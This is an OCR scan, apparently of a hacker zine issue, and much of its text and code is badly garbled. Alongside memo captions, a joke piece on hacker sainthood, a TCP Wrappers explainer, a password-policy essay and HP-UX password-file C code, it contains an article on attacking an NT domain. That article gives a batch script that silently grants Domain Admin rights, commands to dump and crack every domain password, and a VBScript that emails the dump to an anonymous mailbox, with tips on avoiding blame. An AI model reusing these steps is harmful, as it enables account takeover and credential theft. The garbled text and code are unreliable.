i Its amaring what you can find in the trash and eorporate hallways of Michizan,
 Above we have an example of how Ameritech plans en getting its way - by having
itz employees lobhy their legislators. Tes amusing to see the haostilily towards
4| “¥oices for Choices.” ene of the long distance industry “front groups,” That erga-
- nization claims on its wel pape that #we've moved From seven Baby Lells and GTE
- to four phone giants who have consistently attempted to block competitors from en-
~ tering the local market=" Who is a poor consumer to belicve?

~ Below is an internal Ford advisery issurd the day before our caravan to Detroit to
- defend oursclves against Fords lawsuit. They really don’t know whal to expect
- from us, do they?

Sublock: FW- m.nn,._.p..:.m. Alert

CfTleame forwasd shis To svoryoss in Tdooovcry Coadiay:

Fa bava been advised la the Swezoma Cooasn nf om special Socusiky a T

s
CemOsooa, Bpparsally bhere will Le s cemitorosnt 68 conod et ,::..n.—n._“.,m..._a in
Lovis tomorichk Lo profsss 4 lawscil hroagns By Ford agaeinss m Hackor wmitbs.
Thorefors, wa resd £o Do particnlarly viglladt korcriow rogardiog wimitorc
o sy flotrs, To Oob allow sanpome vod do b brow who doos i Eave a3 Ford
I0 b wrker our offices. Tr problesi acime, conbact T innedistely ooy
et
.

f|oEiloe relephav: Os my oce bove a4 -EAS i a ol
Zeciurd by .um mr..._._u__..amu. cell. D ! A o NonoslEn el Al

SEary Hayder
i H.E.umu,."”_ - Dlacovary Gooup
5 .m..m._n.n{_ rt the SGenaral Couanssl

- S
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by J-Fusi
This aricle cxplainzs kow a hacker can
become an olficial “sunl” as declared by
the Pope, How Tikely iz this o happen? Mot
very. Butin theory it is possible. It vou anc
Iookiog Forward 1o becoming g saind o Lthis
lifetime, forget about it The process of
CATONIEALIAL Cin 't even starl until 50 vears
affer vour death - and yoa' 1l nead an legs
twen muirackzs ard 2 bunch of great charae-
rersiics called "eminent vintoes,” There s a
fast-trucking procedure where the Pope can
skip all the paperwork ad Just aonovnce
that yvou are “Equipallent™ and vou ane can-
omized immediately, Don’t count on this
though, unloss ¥ou ans an aWesoms person,
IF wom don't ke allention - committzes
examining your every deed, inferviewing
other peaple about vou. or reading cvery-
lhing that you weore - perhaps beiog a saint
isn't for vou,
1) Lie a Cruel, Horeible Death in (he
Mame of the Chorch
& " ﬂ. .

As 4 hacker, wou arc alrcedy roated
potly by the media, You are proseculed
vojusily and reviled by the common person

sumilar o baow
Christians W
wiewed hack in fhe
old davs. But in or-
der tn b consideres
A EHEOE, yOu mest T

bevend  this. Yo
sl e o e ol
torluous  death o in
the mame of 1w
Church.

Wincent o
SArAZOEs WS

i | R stretehed onoa rack
then laid on a red-hot gridicon. While al
thiz was bappening, they were wlzo tearing
ot his Heeh with big hooks, Beautiful Szinr
Agetha was srerched on o rock, had her
breasts cul T, ol was thrown naked into
baming ccal. Formy Chistoians wers o
dered 10 bie nakesd on g [rozen lake until
thew dicd. lonzh had his body crashed oo
death in a wire press, Pelagia was roasted
Lo deaih an a bollow Bull made of bronze
bocause she woulda't mary the empens's
son, Ploran was beaten twive and had his
zkin pocled slowly from his hody before A-
mally being weighed duwn by rocks aml
fomsad into Lhe rver Enns.

Venantiws was a wogh oae. They
seourged hum, bumed him with Haming
torches, knocked cat his tecth, hung him
vpeide down over o fiee, broke bis jaw,
threw kim 1o the lions, fossed him over o
clift, and finally col hizs bead off. Lewmn
from Ihese examples.
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2) Live Likoe o Llermit

The less painful way to booome & saing
15 0o live an ascetsc lfe, Hey, we hackers
are already pood at this! We spend hoors
alone al cor compolers, Back i the old
days, saints wsed to live in caves. Paul the
Hermit lived in caves o the desernt for most
of his lifi, and Mark lived in a cave that
had & buge overhanging roeck that could
have fallen and crushed him ar any o
rment.

T recommend bwlding vour own pallar
like Simeon the Siviite ard living therc
(rent free). Unforfunately, Simeon bad w
kecp increasing the height of his pillar be-
cawse crowds come e Jook ot bum, s pal-
lar, where he lived for 37 vears, evenmazlly
Became 20 feel all

The bad pan gbour living an asceric life
15 that afler awhile vou begin o stink quite
badly. The simple fact is thar many saints
stunk, 51 Anthony never in his il washed
his feet, and 5t Svlvia nover washed any
part of her bondy excepl for ber lingers.

5 Miracles - You'll Need Laots of Them

Here's the bad pews: As Pve aleeady
mentioned voa'll noed at east tao miracles
o your credil, Bven worse, vady muinscles
afler your death count. Miracles arc judged
by a panel of theologans and soimetimes
“medical cipens” Probahly the hest way
toy perfirm mivacles aller your death is via
siflware that acts in che future. Perheps a
date riggers a virus or soome Hher speclac-
ular change in computers all around the
world. T koo, Theow, this 15 a long shot,

To make it cven toucher o booome a
saint, you need 1o perform another micacl:
even alier vour two previous miracles have
been appioved! Basically, the commiee
wills around until youwr chisd (or higher)
miracle accurs, Becaose thes miracle siofl
15 pelling so ridiculous, the Cherch takes
the casy way cul. They exhueme vour bidy
Tremm the prave and examine it 163t is in rel-
atively good condition - 31 12T poLlng oo
bally - then this can be considered & mira-
cle bocause it shows that vou tmaly are
siirelly, Therelure it iz absolutely necessary
that you invest in a fiem, aietight coffin for

your Body to lay inand not eot (oo badly.
4} When all Else Fails Al Craey

If vou can't sec yvourself doing any of
the ahove, the least you can da s live a reli-
wiors hacker life and act insane. Thers
wiare at least theee saints who were nots:
Sumeon Sales, Joseph of Coperioe, and
Christina.

The eregest saint of them all was
Chrostina. (ne day she suffered 2 it and
Tost consciousness, People thoughl ghe hal
died =0 they buricd her - cxeept she wasn™e
really dead. Doring the [unecal sbe jumped
out of her cofbin. She alse liked o be
saung rewnd and found ononill wheels.
She bid 1o ovens W sscape the smell of hu-
mans and onc time in & chorch in Wellan,
she zatin a foundalo of water Juring the ser-
Vice,

[ shor, 197 oo impossible Tor @ hacker
Lo bencurne o seint but it is pretty damn hard.
The Catholic Chorch spends hondreds of
thowsands of dulfars on tbe process that
takes vears. [t took Joan of Arc almost 500
vears after her deah belore she became a
sl Constdering the laroe time frame. the
cxiremely difficult tasks of performing mir-
acles alter vour desath, and the possibility of
living in & stinking hut or heing brnacally
teernred, i may not B owoathoat citer all

e
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About W @& - BE™

WIrarreepe—eer-s

by Golden_ Eternity

Both from reading Guough the aricles
and dizcussion ferums on secunty, and in
dizcussing security with friends. I have en-
countersd some misconceplions surround-
ing hosts denyhosts.allow end  TCP
Wrappers, The purpose of this wticle iz 1o
clear up this confusion and hopefully raise
some awarencss about sacunty. This docu-
ppent is not intemded az oa “how 10,7 ho
more as an explanation of the theory behird
hosts.deny and ipchains, This iz aomed at
Linux 2:2.x, bt should translate well to
oaher UINIX plattorms.

hosts.deny and bostzallow are the con-
trolling configuration files for Wietse Ven-
ema’s TCF Wrappers, with which you can
“monitos and filter incoming reguests (0T
the SYSTAT, FINGEE, FTE TELMNET,
ELOGIN, REH, EXEC, TFTF, TALE. amd
wher nefwork services."" A boel ol czn
be found at fipffip porcopine.onafpubyse-
curilyficp_wrappers_ T8 BLURR,

TCF Wrappers can be a nscful tool, and
moel beginning securly wtodals will sae
that you rist have TCP Wrappors installed
if your system is going 1o be secure. How-
#ver, | have also found that many of thesc
tutorials will describe methods of secunng
your gyslem that climinate the wsefulness of
TCP Wrappers, such s disabling inetd and.
along with it, shutting down 211 the services
that are wrapped by TCP Wrappers.

Daemons that are “wrapped” by TCP
Wrappers are starfed by ioeld in conjunc-
tion with tepd[1]. $ome examples are tel-
nctd, ftpd, Lalk, finger, efc, The majority of

these programs are the inssoure dagmons
that just abour every socurity tutorizl will
tell wos to immediately comenent out of In-
etd conl, shutting thern desan on your sys-
tem {once you restant inctd. of course). Pos
the maost part. this is good advice. Many of
thsse services ate nof used by the common
administrator and serve to creale the polen

tial for Tutore exploan by an attacker.

(o the average person is dooe editng
their inetdconf file, they gencrally arc
down t0 just fip and telnet being run by in-
erd]2]. However, they may alse b2 running,
ather services like a webh server, mail
server, or DIX5 server, which aren't being
started by inetd. T this is the case, it s very
important to understand kow TCP Wrap
pers works, o else you may have & false
scnac of security.

Ignoring libwrap for the moment, scr-
vices which are not stanled by topd wre ool
predected by TOP Wizppers[1]. Becanse o
thiz, if wour sccunly policy 1= o add
hostw/oetworks 0 hostzdeny when wou
want 19 hlock them from accessing your
server, theo vou are nol actually blocking
them from coatacting many of your ser-
vices, of the server in peneral, You may
have a false sense of confidence that wvou
arc protected from this attacker, Meanwhile
they are busy wacking down the latesl
BIMT exploit. which will ship mighl past
your hosts deny ules and you'll never even
krovw it. Lets take a look &t how this works!

Here iz the defzoll configuration for
inelretd from a standard BedHat 8.1 in-
shall;
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teluel siream (op nowail root
fusrfshindtepd inotelnetd

When a kst allempls o connsct o the
telnet seover on this system, this s what
happens (in a reasenable amount of detail):

b inctd detecis a connechion e port 23
o the system. I recognizes that this is the
pimt foo felner (based wpn the entry in
fedcieervicss), and gocs to sear the server,

2, fusefsbinfepd is called by inetd, o
start in.telnerd. fopd will check hosts deny
and hesstsallow aeainst the inbound con-
nection. fasnshindopd 15 the wrapper.

3 I hosts denvihosts.zllow pormits the
conasction, e lneid is stated. Otheradse.
the conncction s ccfused and Jogged
through syelogd,

[n the case of BINTY, which is geaerally
not staresd from oetd. the connection does
ot gt intercepted By imerd, does o get
pitzzeid o bopd. and hosts deny is never con-
salted. Also, simply slarting a secvice {rom
mmeld does not ensure that it is protected via
TCT Wireppers: thers imust be o wripper de-
signed for that pericular dacmon.

T you are usang hosts.deny as your only
mizans of blocking inbovnd fraffic, you are
R prgtecting yourssll7

In order to Block your Linus sysiem
froun accepting data from a particular ad-
dress. of fitting some other mles (ks desn
RALOR OF SOurce por, elc.), vou will have to
usz ipchains or black the reaffic hefore n
reaches vour oot via a handware firewall or
router. For most home wsers, ipehains 1z the
only real oplion.

[pchains Blocks traffic at the kermel [evel
(thag 15 why i you bave a packet logged by
ipchains, it will be the kernel sending the
nissaze i the logeer), far before icis inter-
preted by inerd or repd,

The conbigurution for ipchains s more
complicated than bostsdeny, andd since the
rieles gre stored in memaory, razher than in a
file, it geis reinitialized oo every rebootl,
However, @t is guite casy to build an
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ipchains mulesel o be execoled on startup
(&g the traditional re firewalll, and the ox-
tra work @5 well worth the added secu-
rity] 3. Alternatively, firewall software like
portsentry may be configured o automati-
cilly create ipchains meles inthe caze of wn-
expested conpection allemypls.

Soowhy not just stat up all vour dae-
moas from inetd? This is possible, but if
vedd are getting a Lot of traffic i your site,
ther overhead mav be more than your sys-
tem ean handle, 1netd wousld have to inter-
copt every inbound coanection ard start up
a mew server daemon|d). This requires
processor tme and memory for the ol
work where irsid recognizes an inbound
connection, wheee 01 kicks off w wpd,
where  twpd  checks  hossallow and
hosts.deny, and then vou bave w deal with
the slartup of the scover deemon Tor each
rew eonneciivn, This is hardly an elegant
option, and in many cases it just isn't poss
Bile.

Additionally is the potential for exploi
of inetd, Wihile I am not aware of zny ro-
ceat securnity isswes divcorly affecting inetd,
il does pen gz root, and so could potertially
bocome the arget of fulure explons, For
example. meld might be vulnerable to the
security problem thar affected Linos kemel
2.2.13, where programs could bocome un-
able to alicr cheir effecnyve TID, This is
conjeclure onmy part, but it docs seem rea-
somable.

Foutnoles

[I] Seme daenvons can be msde aware
of tep_wrupperns by inclusion of likwrap. Tn
these cases, i is nod necessary o start the
program through inetd for hosts.deny oo be
checked. libnerap is oot addressed in this ar-
Gcle for two reasons: ficst, libwrap o5 3
more advanced topic than this article was
intended to be; second, a lack of informa.
tion available to me a1 the e of writing
prevenis me from making any educated
sratements on the mpic,

L L EP S E——y
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[2] 55H can be wied fo provide a secune
replacement [oe telnct. SFTE and SCT are
secure replacements for FTE There are
even free, easy to use clicne programs for
S5H and SCT for windows such as PuTTY
and WinSCF

[3] BedHar introduced & shell senpt in
vepsion 6.2 that Bels wou dnleract with
ipchaing in the System ¥ ot siyle, includ-
ing an option (o save the cement rules, This
takes somne of the work our of mamizning
ipchains, but you will 2461l need o castom-
craft your ipchaing e ser

[4] A= an example of this stamap over-
head, consider the ssh dacron. Ezch time
sshd starts, it generates a now host kew,

which 15 very processor intensive, 15 the
sl was forced m generate a new fosg
key for cach inbound connection, the con.
nechion could possibly time out before 1he
beost key wos ready. (Thanks 1o Malthew
Block foe pointing this our).

Fisr rowres information:

[FCHAINS-HOWTO: hupofiaoeas linug-
docorgf HOAW T IPCHAINS-
HOW T him]

TCP Wrappers: htipafwww Linusdos org
ALPPL G seedtpollmaniepwmppens, hirml

The ciurrent version of this docuoment con
he found ar  hipofoaw bhodizsofiocm.-
Sbrwopzasinhffipehains-ve.-hosts deny him!

Revisited

Hacking anm NT
A Domain from
the Deskitop ~

by Hi_ Risc aka ASB

T previously shovead how te gain administmtive rzhis o both the local NT Workstatea
s well as the whole domain by simply placing the following script in the clowinndpro-
fileshall wsersstart meowiprogramsistaciup folder wml having an sdmiosteator Jug o

Echao off

net vsers o username 5 password factive fdomain fadd
net localgroup administralors Yvseroame % fadd

Net group “Domain Adming" Sosername S Jadd /domain
Met proup “Guests™ G username$s fdelete fdomain

What I propose 1o add 1o this is a complete cruck of every passwond listed o that do-
. These pazswords will be emailed 10 an anoaymoos mailbes of vour choice, i.c. Hot-

mail, Tycuos, ot

To do this, you will nced some extensive “inside”™ information about the domain.
namely dovuin conteollers, Keep in mind that Lhis sor of action would be considerad ille-
£al and Luspicicas (o anyone aware - so don’t do it, and don’t tell that you know haw. The

—ro Ry
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” 5 reason [ performied) this is beciuse you can learn a lot about the peopls from (hedr pass-
| wonls. To crack the passwords, vou will need a couple of applications that ase available
- for free download. I'm sure we've all heard of LOphterack. In the source distribution of

Lophtcrack are some eommand line executables for durmping passwords from the registry
and crpcking them with dictionary iles andfor brote force. Specifically, we want the po-
dump.exe and the le_cliexe files from the source. Cpliooally, there 15 also a passwd.oxe
filc that we can use. Il conlains seme common passwords and runs extremely gquickly,
Generally, [ use the password file - just for shits and giggles. It can dramatically reduce the
“arpck” timc.

Taking for granted that we have already gained domain admin rights by some manner,
we can easily orcare 2 batch file for the dump and crack. Here is what mine might look

like:

Feho off
pwdump.exe Wi domaincontroller % >pword.txt
Ic_cli.exe -p pword.txl -0 passwd,ixil b

This dumps the passwords fromn the domain controllers registry into a wext file named
pevard.tat then runs the Io_cli.exe on that output using the password dictivnary and brute
force.

The actual creck time can take a very long time. In many cases it's easier 10 counl crack
rime in days rather than koues. lésally, you would want o have 2 very fast machine to do
the cracking. The best crack time T can recall is approximately eight bours on nearly 200
user aceonts. This was on an exceptivozl server that T had aceess to, Specifically. 1 be-
Lizve it was a single 866 Mhz Intel with 1GE of RARM.

TIn mw current position, 1 kecp my computer running constantdy hocanse Thave an un-
named distriboled application mnning. T woold highly recommend that yvou aulomate
these actions so in case the plot has been uncoversd you could claim ignorance. For ex-
ample, I would schedule the durmg, erack, and email to ocour in sequence via a scopd n
within the Schedule service. A task can be added with a command similar e the following:

al W servername % % 120N AM S fevery Salurday % path_to_batch or executable™

There iz alao a toal available in the NT Resource kit called ROMI, which stands for
Bemote CoMmanld, There are two entifics o thizs, and they are the client and server ser-

wice, The elient exccutable is remd.exne gnd the server service instzll is remdsve.cxe. Cren-

erally, this would reguire PCAnvwhere access or direct terminal access e get the service
installed on the server - unless you'ne aware that 105 already installed. Tn the case that Iy
already installed on the server, vou would place the client in the cvwinnlsystem32 direc
tory (or anywhere ¢laz listed in the path statement). Open a command prompt, Start, Rono,
emd.cxe for the newbies. Once the prompt is opened, type romd Seservernames®, This
opens @ shell on the rarget server and gives vou Tull control over the executables we want
1o manipulate. For the sake of safery, T woald probably place the files on a network share
as read-only, and some inconspicuous user as the owner, i, guest. .

At this point, we have dore all that’s neceszary to dump and crack the passwonls, What
wiwant tnodo now is have cither the encrypled passwords emailed oo us immediately so
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that we cin crack them at our leisure, or actually have the balls to use the ranzets re-
sources to crack their own passwords as well as their own ammail E¥SLEmT Ly .f,_md 1 s
Again, this requires seme "knowledge™ of the targat In onder 1o email the passwoeds (in
one form or aocdher) we would have (o be svee that the zeover biad 2 conficured cimadl
elieot Technicilly, we could have the email sent from our own deskiop, but that mighy
lerad Bizell to inoriminating us,

Many shops have the Office sutle instatled on Meir servers but may aot have wn email
aceount configured. This poces the greatest problem. Tike I said before. we shonld eithe
know that the server hus (hutlook conlizured. or erail from the deskiop. One thing that
might save us from incrimination is the [uct that this all oceurs whiles were nnt on 1he
premizes. To do the emailing, | ereate & VBSoript for anromaring the process. I'm really
just beginning the lewming process myself so [ won't go int mnch detail resarding the
mechanics - hocause it was largely picced togefher from examples T had availabls 1o me.
This iz a sample of what it might look like:

YsendEmailMessaoe.vhe
Oplion Explicit
Drim objOutlook, clsMessage, clsRecipient, objOutlook Attach

Open Outlook Session
Sel ohjOutlook=CreateOhject™Outlook. Application™)
Setl claMessage=objlutlonk. Createltemi0) * Value of d=MMaillicm

Wilh clsMessage

Sed clsHecipient=clsmessage. Recipients Addi*% Internct Email A coonn ™)
clsRecipicnliype=1 “Value of 1=""1o™

clsMessage. Subject="Password Dump™

clsMessage. Body="1lere vou go!™

clsMeszape. Importance=2 “Yalue of 2=Tmporiant

Set objOullookAttach=Alachments. AddW5 servername s 4% sharename S5 Gle 431 577

clsHecipient, Resolve
If not clsRecipient. Resolve Then
clsMessaze. Display
End If
cliMezssage Send
End Wilh

Set ﬁ_m?.—mﬁﬂﬁ".ﬂn—._um:ﬂ
set objOutlook=Nothing
Waeript, Quit

Keep in mind (hat the subject, Body, il inportance conld easily be monitored sowe
Miay benefit from keeping 2 low profile by labeliog them with something elss, On the other
hand, we may find it more of 4 bensfit to show the 1 gt just kow simple and idiciic theic
SECUTIEY Controls are and how unbelievihl ¥ :...n....__.n_.ﬁ?i their z1all are.
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Password
AUTrIEENTICATION

Stephen Thomas
slephenthomas @ rampantsolutions,com

Hocurily Yeaperms” will gypically rocom-
mend - pon-rensible and arcape password
schemas in which the user is expected o
wee g Csleng” passwond invurporating low-
ercasc. uppercase, numbers, and special
chamicters o o s=even plus character
pHirase.

Suad “experts” will t2ll vou thar should a
svatemt attacker gain aovess o wour W
aAM hive or feicfpasswd (fetefshedonw fou
those of wnu paving alleolivod, Lthen it is
ooly a matter of time bofore e will erack
all of wour passwonds, with the weaker
comnations falling victim first.

Fxperience 12lls us that if an attacker has
zocess too these passwond aschives, then
your securiy probleros are much more seri-
ous than users having passwaonds sach s
Falice' o7 “spin”,

Vurther, given cureent gigabes e comput-
ing anl ever-increasing performence in
mainsircam co: VRIS, o could argue
thas passwonds of any lengih are insscure
and woald evenmally become vl fon gha-
teririne,

S0 given that onar passwornd arcloves ane
sevuresd and we are nod distribating copics
of our SAM hive around on Noppy disks,
where does the threat exist with passwond
authantication?

1135 an elementary exercize in scripding
to attempt maltiple logios given an secount
mime wsng several potendial passwonds.
The common esponse W this brule fomce
approech is to diszble the acocant after n
bad Iogin arrempls, This 15 ool an entirely
bad approach. Azzuming nis oot ton small,
it doszs @t as somnewhatl of an intrzien da-
teciion machanism, The caveat hoere is that
icis =10l a erivial exercize te atlempl W Jogin
0 bmes wsing a nuil passwond with rhe in-
tent of Tocking wiers oul of ther own ac-
counts,

The threar of such mabicous aclivity

within ynue gwn arganistion may or may
Tt be drivial. Meelly. nois set high encugh
thar systean administrators are werted he-
fore anyonc.is locked out of Mer aocount
Bl Juow eovuzh such that g brote force at-
teck decs mot asiually succeasl.

Lhas 12 where we rely an probabilitye. As-
SUMe we are paing 1o enfioce o passwond
[ength of at least w characiers, and all of our
users are nol ioclined W vse any more. Fur-
theer assume we are using & sof of ¥ possible
characizrs e oreate the wotual password.

The solution ser of all possible pass-
wirds 15 thes % If we reguine only lower
case letiors and a minimwm  password
length of seven charscters, then the solution
scbis 207 or BOZLEILITE possible pass-
wianls,

However, the twa largest dicltionaries
each inclede around kalf a million words, of
which a liberal carimate of 1710 are .u_._:t to
severl lelters, 3o an educated attacker might
reduce the mm_._},.Ew:_?_.__m._"m sodulien set to
LM word

Crivin @ ”"c.__._:n_u sel of = possibililies, the
slalistics are favorable that you will find o
march given 22 opporteninies, I we want to
cosure that the poobability of someops
gucssing a sodutinn from the set of ¢ possi-
balitizs 35 very low (less than (LIS, we
must easwie thar the number of guesses
(anzlogous o our varable ny is less dhan
ERR LA .

Axsuming we are suscepdible tooa “di-
tionary™ atrack amd we enloree o zeven
character lowercase letber passerord, we can
albnw 49 Ioging before we diszble an ac-
count and still kave a high level of assr-
ance (9995 that our accounts have nod
been compromised.

Varying the lengih of the password be-
vond seven characters and inclading upper-
case: letlers, numbers, aol speciul characiors
only obfuscate the password 1o the wser ansd
provicke a negligible statstical incrsase in
defense against = realistic brte farce a3-
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tack. In fact, such passeoords can delract
from svslem secuenly a5 they are more in-
clined o be written down and thus suscepln-
bile to circulalion,

There are two situations that may require
an enhancemsat o the abowve schema, The
first iz that miven an adl lowercase letber
password, one may be o inclined o use &
S[IOMLEC’S DAme Or s0anie Olber phrase known
by a peer, potendally reducing the sulution
ot to as Ltk 4z ten posabilities, Again, the
threat of such malicious activity wilhin
YOUL DWT OTEamizaiion may or may not be
trivial. A sclution here is to incorporale o
single numiher of special chircter into the
password, thus rendering the “selective
password” arrack  anfeasible, Adding a
nomier into e previoos schema increases
the potential solution set o (264 100%7 or
Te3e4, 164086, An augmentation of the
dictionary attack may &y combinalions in
which a password substitutes a zero for the
letter o, or appends the number 1, bur this
cerainly does ot rediece the solutfon set o
bezs thal 30000, our established worst-ciss
z

The second silvation concerns passwiopd
sharing, either intenticnal or inadvertent.
The only way (o resione sccounthbility once
a passwond bas been revealed 15 0 dssve a
new password only o the original user. This
requices password changes at some inlarval
(i}, commensurate with the [requency of
this practice within your organization. Sin-
ilar to m, if i is set too small, there is arzater
potential for users oowoite passwords down,
arguably a higher concorn thanr sormeone ac-
tvely cricking a password archive. Secu-
rity “experts” recommend 30-60 days, but
these are the same peopls who think uscrs
can remienther passwords like
“TiXiot25ey )" They will 12]] you password
phrases cin be representative, such as (N
{Dike {X)mas (in’s (o)n {fhe (25kh (elach
(¥lear (197 Tt is ignorant 1 subject users to
this hollow logic. Consider that mwost users
cannet figure out how 1o make the paper
clip go away in their word processor,

Bealistivally,  enforcing  password
changes somewhere heiwesn onos pef fiseal
year and once per fiscal quarter is sppropri-
ate, Porbidding a password wsed within the
w-ns_..ﬁ,w coiple of terns prevents a user

rom cycling through passwords (o et hack
to one of which he may be rather fond. But

again it 1% an exercize in scripting to arki-
trarily change the password cnoagh times 1o
hypass this restriction before adjusting it
back to our favorite password. Of course,
the countee-defense is 10 enable & minimum
passwonl age. This roqoiees that, once
changed, a passwosd must age for a number
of days before il may be changed apain
Howewver, keep in mind that if you fustrace
your weers, they will weile down their pass-
words and stick therm up io their cubes nex
to the pictures of their kids who are impris-
oaeed to dayeare,

Security “expeits” will concoct savieral
socnarios! “What of the password archive is
compromized remately by some newly dis-
voverad and unfodeseen exploit?™ Well,
what if sormeons tunnels a packet through
vour firewall and smashes the TOPIP stack
inducing a baffer overflow thal pops up a
remate teeminal oq his soreen in Budapost?
You have 1o look at security realistically, or
it will bankrupt your organization and drive
off all of your key personnel who must re-
spond to the aggrivaling events triggersd
by inane policy,

Why do we soe such wilespread fear,
uncertainty end doobt concerning password
authentication ¥ Largely beczuse major soft
ware vendurs want to givie vou the impres-
sion that they are serions aboul security but
they lack triee zlent and hide the inadogua-
ciza of their provduct by taunting such “fes
tres” a8 “strong password enforcement”™
because they are wrivial 10 irmplement. The
true security experts are oft designing secu-
rity and encryplion architecrores and 1he
popular sdvice comes from amateurs with
laptops and off-the-shel§ scanner tools.

S0 what 5 o reasopable  password
schema o enlorce? lgnore mainsiresn sa-
curily references thar regargitare the same
rdicolous comhinations and remember that
irate users are morme lkely to introdace sl -
rerabilines, Use vour head and consider the
slalistics, the sensitivity of the resources
which you are trying [0 protect, and your
user base. No specilic password schema iz
appropriale for every organization, even of
it sounds really sccure the frst time you
e it
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I3 EY Gad e
Password SCHEMES

el
Must UNIX systems bave sienitar methods for sning user information and ererypeed passwords.
This could invedve the plain old fore'passwd or in the case of shadow passwonds, ferehadow, |
Thers ars of course vanants o this, Tn HPUX 10.x and higher you have three oqtions: the normal |
erEsion ¥ scheme, shadow passwords. oo thedir “proteciod passwood datahass” which is “for wusted |
syslems _...__._“_.1...1

A full explanation of HP Trusted Systems would go beyond the scope of this artizle, so Tl only
fewus on the protected password database svetern. Basically trusted syeteos is a sorl of packags
“_...._.ﬁ gete the eptivn of installing along with HPUX (F apologize to those of you who are quite fa- -}
jritiar with TEPUX), The one key feature is the procected password database systens it employs on |
Itke HPUX machie. [
{80 what is the protected password darabase? Well 1et's say you legin to any HPUX mechine which |
{has trusted systens nuning vn i You rype zomething like “cat fetefpasawd” and all the password |
fiebds have the ald =7 in place. So vou ten ry “Is fefe/shadow™ to e i it has shadow pass- ;
witrds, bt no dice, You O Crat the directory “VoobTiles™ celches vour intorest. A% ot tums vt thisf
is the truseed systems directory and it is i ehelilesfuti” that all the passwords along with nser |
alemination is kepr, "
(Mo that we know where the user information 1s kepl, let us tke a look at a tepical user file, Each |
uscs has kisTer own plaia text Dbe e a diveciony beginaing with the fisst character of that oser |
reme, This provients a whole Ble such as “Yetoipasiwd” fram pedring clobbeood and thus allecting
all wecr aceounts

u_marre=jhlrawe_ida2ETE0
a_prwed =5EThASoleak 2
_awdanida s 2 19,
w_anditflap#ln,
W_Euechg#TITRITE L _Jlopindu_pw_expire_warmingdlou_suclop#9847234235, |
sty phag i _unseclogddRd2TRER S _unsuciny=piatin_lock &,

whkcne:

jhlo:

— e

:,:_:.....,.E.._..._Hn_ﬁw.d&...,_&n..._:_..f,;_..__=_E_HEm..,.._ﬁ.».:.m_,..F..i_:n.ﬁ__.i._:_...,._ﬂ
{rephlesfautlablow™, containg all kiods of neatinformazion, In focr, i we ook at the Eetprpa-
goam(3) man page we can fod eat what 211 of this means and we poetice Ut the ooesed fizlds anent
{histed. The fact that there are dorens of Gelds aed Fags is what makes trusted Syabars s wpecial
L. more contrel aver what the sser can end cannot da, :
2o how can one manipulale all of his? One way is o we HPUX s l2me systemn administination ap-
Plication, “sam™. However, writing C code is a lot moce fun and challenging. Lels sav s waat o
o seamething with e aocoant jEow. Here is a simple soippet of © code which EivesE Us A Slruc
that contains all histher felis and flags {oace agsin, e the petprpesnand 3 man pagel:

B

S —— e . . — -
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S . = T

[ #inchule Sxysiiypes b=
£ Finclude <hpeecoin o
Fiociwde <prod b
SR pr_pascwd™ wserinhing
sbriacl T passwd® bemp;
EErmgr = gelprpranzmi ihlow™;
if { femp == WLILL )
[
printf - Invalid usemamein™);
a1
|
| clae
useehfo = (sl pr_passwd ) ol loci i *tammp )
i wscnnio = KOLAL )
mremcpy{nEeEntD, wmp, strealiFlempl;
|
i

givutroe-thal we copy the stichire aver W0 a lemporary srsctoce. This makes for safer program-

jring. With 2 debogpor Like gdb, veu can take 8 peck a0 the “userinfe™ stroctuse willisat cresting .
mnessy poanl roatine. Dofng fhis sbould give vou a good iden about what™s inside the dnscire, The |
mext shep is 00 alter jblow’s sccumt somebow, T picked the paswond Reld jost for fun
The password ficld in HPUX i5 crcated using the good ald crype 21 fogetion. 1 we leak at the man |
paage we et the following:
MAME

crypl setkey, &ncryp - fencrate hashing encrvption

i
SV INOESES

} Finclede corypthe
winclude <unisud bz

char *eryplicanst char *key, conss char +sali:
Hlah, hiah, hizh

(AL it tuns out, ko s tee string 19 be encrypred and salt is the two character string which... well, is |
the salt! The down sids o vsing orvpd s tat it limits your pazsmond sie since it only encrvpts :
eight character chucks, So i jblow’s case we have: JEIbASHPeRk2, Motz that the chasseter z_.lm_._ﬁ.
#IE” 15 the salt and thus MThASoPoik? woald ke the erorvpted password. Bur o vou wanied tooen- |
Cypl something greader than cight charsclers you would bave 1 pass in a salt and the first cight
jehiarachirs, then use the fist two charscters of the crerypled siming thar Is refuned @ the sall oy
{the Dexl eight characters and £0 0. As an example, =T wonld Be wsed i the next s, Luckily we |
jdon't have 1o deel with this headache, for there oxists a function called bizeovpt(3) which gets
mm”_.:nn.__u the sie Howie S let us book an sonse O cnde s an example Csrill using jblow’s ussrinfa
psrcr:

"
_ a_u,..q.__nn.._.%uzﬂ_.f.____z,.u._..nn._u:_ﬁzurq_._.__.n n_:_.._....u..uﬁ_..,....,:_.
1= FEAEcontaing & now passwaond, ¥

i ant __u.u_w_._._ T m__.ﬂ.—u_-__“ﬂuu.....mzhar.”:

s ﬁ_uv.éw for msted systom compliznoe,

for 0 =10 i< length: I+

i R
=

e naims e - - S
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num _aiphat +;

I

el

nem_nocalphas+;

if { Wnom_alpha == 2} &8 (rum_nonalpha == 170 )

{
Pt Mew passward must confain at least two alpha™;
gl “chirslers and ene nonalpha charscbern'n™;
eaill 1l

[TPTTTS F—

I Eoorvps the new passwond ared el it in place, %)
m CRCIYPI_Epw = [char * i goryplnewpass, sali);
iosrrepyuseitfe-ulld [ enerypl, encrypi_pwl

M Cheek o s i his acoount will force a passwoed change. +/
; _.m_“. wierinlor sullil _.__.Iﬁ__.r._nw_.-. ==

i
A% Then they will be forced e chanze their passwond when thay lagin,
wserinlpeufid fi_schanpe = imefdalos: & Curment date 4/

T Ppaipepa A e, wacnalo) b

prinefl”Ermor, passovord meg chamgad n'y,
exit(l);

|45 you can el from the shave, trusted systeme is anooying. The details of all this depends an the .
ipalicies solin place by the system, You will nodes thet I ebeeked fd_schange Geld hecauses the
‘ongn page stakes hat fd_schange is “Tast successful change in soes past VLT07. N efrvious]ly if
m.n.m. zeod il the wystem forces o passweord change when there has Becn no “lasl saccesshi ﬂ...m._ﬁ_u.vm
m_.u_._nz this needs Lo be Laken care of. Finding svetcos pelicies can be bard, | sugged Jooking in i
| by lesfauthvde Laoli™ for s stan. Ceber than than, youne eo vous cwn.

I comclusion, HFUX probably woo't koop thes systan asound smuch longer. A simpls aeb scarch
mu_n...n_.u_a mruany problems with trusbed systems Trusted sysleans also has the sided benafis of nor m
M._...__._.E.._m with PAM and thece is peoeral fankiness when it comes o ketberes 5, Thepefore, 1 be- m
